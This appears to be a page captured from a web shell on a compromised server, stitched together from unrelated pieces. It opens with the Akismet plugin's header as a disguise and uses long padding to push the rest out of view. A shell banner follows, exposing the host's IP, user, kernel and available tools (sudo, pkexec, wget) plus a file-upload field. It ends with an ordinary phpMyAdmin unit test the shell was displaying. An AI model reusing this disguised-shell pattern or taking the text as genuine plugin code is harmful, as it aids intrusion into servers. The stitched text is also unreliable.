#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/phpMyAdmin/test/libraries/ |
Upload File : |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
* Tests for Specialized String Class (CType) for phpMyAdmin
*
* @package PhpMyAdmin-test
*/
/*
* Include to test.
*/
require_once 'libraries/StringCType.class.php';
/**
* Tests for Specialized String Class (CType) for phpMyAdmin
*
* @package PhpMyAdmin-test
*/
class PMA_StringCType_Test extends PHPUnit_Framework_TestCase
{
private $_object;
/**
* Setup function for test cases
*
* @access protected
* @return void
*/
protected function setUp()
{
if (!@extension_loaded('ctype')) {
$this->markTestSkipped(
"ctype extension not present."
);
}
$this->_object = new PMA_StringCType();
}
/**
* Test for isAlnum()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isAlnumData
*/
public function testIsAlnum($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isAlnum($str)
);
}
/**
* Data provider for testIsAlnum
*
* @return array Test data
*/
public function isAlnumData()
{
return array(
array(true, "AbCd1zyZ9"),
array(false, "foo!#bar")
);
}
/**
* Test for isAlpha()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isAlphaData
*/
public function testIsAlpha($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isAlpha($str)
);
}
/**
* Data provider for testIsAlpha
*
* @return array Test data
*/
public function isAlphaData()
{
return array(
array(true, "kJW"),
array(false, "k12"),
);
}
/**
* Test for isDigit()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isDigitData
*/
public function testIsDigit($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isDigit($str)
);
}
/**
* Data provider for testIsDigit
*
* @return array Test data
*/
public function isDigitData()
{
return array(
array(false, "kJW"),
array(false, "?.foo!#21"),
array(true, "12"),
);
}
/**
* Test for isUpper()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isUpperData
*/
public function testIsUpper($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isUpper($str)
);
}
/**
* Data provider for testIsUpper
*
* @return array Test data
*/
public function isUpperData()
{
return array(
array(true, "ABCD"),
array(false, "AbCD"),
array(false, "ABCD12!3")
);
}
/**
* Test for isLower()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isLowerData
*/
public function testIsLower($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isLower($str)
);
}
/**
* Data provider for testIsLower
*
* @return array Test data
*/
public function isLowerData()
{
return array(
array(true, "abcd"),
array(false, "aBcd"),
array(false, "abcd12!3")
);
}
/**
* Test for isSpace()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isSpaceData
*/
public function testIsSpace($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isSpace($str)
);
}
/**
* Data provider for testIsSpace
*
* @return array Test data
*/
public function isSpaceData()
{
return array(
array(true, " "),
array(false, '\n\r\t'),
array(true, "\n\r\t"),
array(false, "\ntest"),
);
}
/**
* Test for isHexDigit()
*
* @param integer $expected Expected output
* @param string $str String to check
*
* @return void
* @test
* @dataProvider isHexDigitData
*/
public function testIsHexDigit($expected, $str)
{
$this->assertEquals(
$expected,
$this->_object->isHexDigit($str)
);
}
/**
* Data provider for testIsHexDigit
*
* @return array Test data
*/
public function isHexDigitData()
{
return array(
array(true, "AB10BC99"),
array(false, "AR1012"),
array(true, "ab12bc99")
);
}
}
?>